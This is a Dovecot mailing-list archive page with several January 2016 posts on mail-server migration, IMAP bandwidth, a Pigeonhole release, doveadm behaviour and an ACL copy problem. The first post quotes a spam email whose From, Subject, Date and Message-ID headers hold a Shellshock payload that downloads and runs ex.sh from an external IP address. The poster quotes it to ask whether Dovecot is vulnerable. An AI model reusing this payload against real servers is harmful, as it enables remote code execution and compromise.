is dovecot vulnerable to this kind of attack?
by Louis Kowolowski 27 Jan '16

27 Jan '16

I found an interesting email that got caught in my spam quarantine. I’m wondering if dovecot is vulnerable to this kind of code execution (I’m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh(a)nes.txt.com;, wget(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, fetch(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, sh(a)nes.txt.com, ex.sh(a)nes.txt.com;, rm(a)nes.txt.com, -fr(a)nes.txt.com, ex.*'@nes.txt.com, &(a)nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk(a)cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977

ot: data consumption IMAP vs POP
by voytek＠sbt.net.au 27 Jan '16

27 Jan '16

I have a domain with about 50 mailboxes, server is located here in AUS but most of the users are on a LAN is SEAsia location. They were using POP (with Thunderbird), I suggested then can use IMAP instead, so they did. now they are asking; "Looks like Imap is adding a lot to our internet bandwidth" I guess they have some bandwidth limitation on their link I think I can understand that IMAP would increase bandwidth requirement, didn't expect it to cause 'problems' is there any optimization or changes I can make to reduce that ? the b/w limitation are at the client LAN link any other suggestions ? thanks, V

Released Pigeonhole v0.4.12.rc1 for Dovecot v2.2.21
by Stephan Bosch 26 Jan '16

26 Jan '16

Hello Dovecot users, The last few releases had an annoying bug that made the Sieve editheader and imap4flags ineffective when multiple scripts were executed sequentially (sieve_before/sieve_after). That is why I am making a new release. Unlike the previous release, this release also adds a new feature: support for the Sieve extracttext extension. Changelog v0.4.12: + Implemented the Sieve extracttext extension (RFC 5703; Section 7). It is now possible to extract body text from a message into a variable. * Increased ABI version due to changes in the Sieve interpreter's object definitions. - multiscript: Fixed bug in handling of (implicit) keep; final keep action was always executed as though there was a failure. This caused the keep action to revert back to the initial message, causing editheader actions to be ignored. - managesieve-login: Fixed proxy to allow SASL mechanisms other than PLAIN. Before, the proxy would fail if the server did not support the PLAIN mechanism. - ldap storage: Prevent segfault occurring when assigning certain (global) configuration options. The release is available as follows: http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… http://pigeonhole.dovecot.org/releases/2.2/rc/dovecot-2.2-pigeonhole-0.4.12… Refer to http://pigeonhole.dovecot.org and the Dovecot v2.x wiki for more information. Have fun testing this release candidate and don't hesitate to notify me when there are any problems. Regards, -- Stephan Bosch stephan(a)rename-it.nl

by Christoph Adomeit 26 Jan '16

26 Jan '16

Hi, I am Migrating an old cyrus mailserver to dovecot. in the old cyrus Mailserver all User Mailboxes are sub-mailboxes of their INBOX. I have to preserve that structure. During Migration with dsync I get these Errors: Error: Mailbox INBOX sync: mailbox_delete failed: INBOX can't be deleted Is there a way to work around these Errors ? Thanks Christoph

[Bug/Enhancement] doveadm user ignores -f option when performing a wildcard search
by Haravikk 25 Jan '16

25 Jan '16

The title mostly says it all on this one, but it seems that doveadm user has unique behaviour when a wildcard username is given, causing it to return a list of matching usernames in place of regular output, ignoring other command line options such as the -f (field) option. For example, I had hoped to use the following command in a script to easily get a list of all user home locations (excluding local users): doveadm user -f home *@* However the results are a list of usernames, rather than a list of home locations as I had hoped. I’ve tagged this thread as Bug/Enhancement as outputting a list of matched usernames is clearly the intended behaviour, but it could certainly be clarified, as could the fact that the -f option is ignored in this special case. I think that the correct “fix” here is to clarify in the documentation that wildcard matching is a separate use-case of this command in which the -f (and possibly other?) options are ignored and the results are always given as a list of matching usernames. It needs to be clear that doveadm user user(a)domain1.tld user(a)domain2.tld and doveadm user *@* are not equivalent, even if those are the only two users, as this differs from many other unix commands where wildcards are permitted, e.g- using rm with a wildcard is equivalent to adding all matching files to the command yourself. However, in future I’d like to see support for the -f option with wildcard matches as well, with -f user simply being the default. This would be much easier for a script inspecting user home directories, as for now my alternative is to use the wildcard match to get a list of names, then call dovecot user -f home <user> for each one to get their home location, which isn’t nearly as nice =) - Haravikk

Mailbox doesn't exist: test

I’ve been getting an error when trying to save mail based on address extensions where dovecot is not creating the mailbox: dovecot: lda(user(a)example.com): msgid=<Balhs-user(a)example.net>: save failed to open mailbox test: Mailbox doesn't exist: test Is this is as simple as adding lda_mailbox_autocreate = yes to my conf file, and does it go at the ‘top’ level of the file, or does it need to be in some sort of clause? -- There is something to be said for grace and respect but humour alway helps - Toby Morris

Problem (bug?) copying mail folders
by Keith Edmunds 24 Jan '16

24 Jan '16

I have reported a bug to Claws Mail (http://www.thewildbeast.co.uk/claws-mail/bugzilla/show_bug.cgi?id=3601) however, I see some behaviour from Dovecot that looks odd to me. Background: I am trying to copy a folder to another part of the IMAP folder hierarchy. The destination parent folder is ACL protected; I have lirwstpeak rights. Claws initially tries to create the destination folder and then copy the mails from the source to destination. The destination parent folder is 'public/accounts'; the folder being moved there is 'test' and 'public/accounts/test' does not exist at the start of the process. This is from Dovecot's rawlog: 11 LIST "" "public/accounts/test" 11 OK List completed. 12 CREATE "public/accounts/test" 12 OK Create completed. 13 LIST "" "public/accounts/test" 13 OK List completed. 14 SUBSCRIBE "public/accounts/test" 14 NO Mailbox doesn't exist: public/accounts/test 15 UID COPY 1:2 "public/accounts/test" 15 NO [TRYCREATE] Mailbox doesn't exist: public/accounts/test What I don't understand: the response to command 12 suggests that the destination folder has been created; the response to commands 14 and 15 suggest it hasn't. At the completion of the process, the 'public/accounts/test' folder DOES exist, but it's empty, supporting the fact that it may not have existed when command 15 was executed. Is there some kind of race condition here - or have I just misunderstood how this should work? ------------------------------------------------------------ Running on ext4 filesystem; dovecot -n: # 2.2.13: /etc/dovecot/dovecot.conf # OS: Linux 3.16.0-4-amd64 x86_64 Debian 8.2 ext4 lda_mailbox_autocreate = yes mail_debug = yes mail_location = maildir:/srv/mail/imap/%u:LAYOUT=fs mail_plugins = acl fts managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { hidden = no location = maildir:/srv/mail/imap/public:INDEX=/srv/mail/imap/public.indexes/%u.index:LAYOUT=fs prefix = public/ separator = / subscriptions = no type = public } namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / } passdb { args = /etc/dovecot/dovecot-ldap.conf.ext driver = ldap } plugin { acl = vfile acl_shared_dict = file:/srv/mail/imap/shared-mailboxes fts_autoindex = yes sieve = /home/sieve/%u.sieve sieve_dir = /home/sieve/%u } protocols = " imap sieve sieve" service imap { executable = imap postlogin } service managesieve-login { inet_listener sieve { port = 4190 } } service postlogin { executable = script-login -d rawlog } ssl_cert = </etc/dovecot/dovecot.pem ssl_dh_parameters_length = 4096 ssl_key = </etc/dovecot/private/dovecot.pem ssl_protocols = !SSLv2 !SSLv3 userdb { args = uid=imapmail gid=imapmail default_fields = home=/dev/shm/%u driver = static } protocol lda { mail_plugins = acl fts sieve } protocol imap { mail_max_userip_connections = 20 mail_plugins = acl fts imap_acl } -- "Why does God hate me so much?

How to skip errors on doveadm backup for migration ?
by Christoph Adomeit 24 Jan '16

24 Jan '16

Hi there, I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. About 40 Users with 200000 Messages each. Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail cannot be exported by cyrus. I do not want to bother about these errors. Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. My problem is that doveadm backup exits with an error if it cannot read a mail. Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? I want to use doveadm sync because it preserves the uids of the mails. Imapsync works great but does not prserve uids. cyrus2dovecot is not an option because it does not work incremental and conversion would take far too long. Any ideas what I can do ? Thanks Christoph
